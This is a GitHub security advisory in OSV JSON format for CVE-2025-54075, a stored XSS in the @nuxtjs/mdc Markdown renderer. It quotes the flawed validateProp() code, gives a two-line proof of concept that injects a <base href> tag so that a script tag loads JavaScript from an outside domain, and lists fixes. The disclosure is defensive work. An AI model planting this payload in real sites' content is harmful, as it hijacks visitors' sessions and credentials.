CVE-2025-54075: @nuxtjs/mdc Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-cj6r-rrr9-fg82",
  "modified" : "2025-07-20T16:36:14Z",
  "published" : "2025-07-20T16:36:14Z",
  "aliases" : [ "CVE-2025-54075" ],
  "summary" : "Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering",
  "details" : "### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href=\"https://attacker.tld\">` element.  \nThe `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.\n\n### Details\n- **Affected file** : `src/runtime/parser/utils/props.ts`  \n- **Core logic**  : `validateProp()` inspects  \n  * attributes that start with `on` → blocked  \n  * `href` or `src` → filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) => {\n  if (attribute.startsWith('on')) return false\n  if (attribute === 'href' || attribute === 'src') {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // ← “href” on <base> not checked\n}\n```\n\nAs soon as `<base href=\"https://vozec.fr\">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n<base href=\"https://vozec.fr\">\n<script src=\"/xss.js\"></script>\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nuxtjs/mdc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.17.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54075"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nuxt-modules/mdc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-20T16:36:14Z",
    "nvd_published_at" : "2025-07-18T16:15:30Z"
  }
}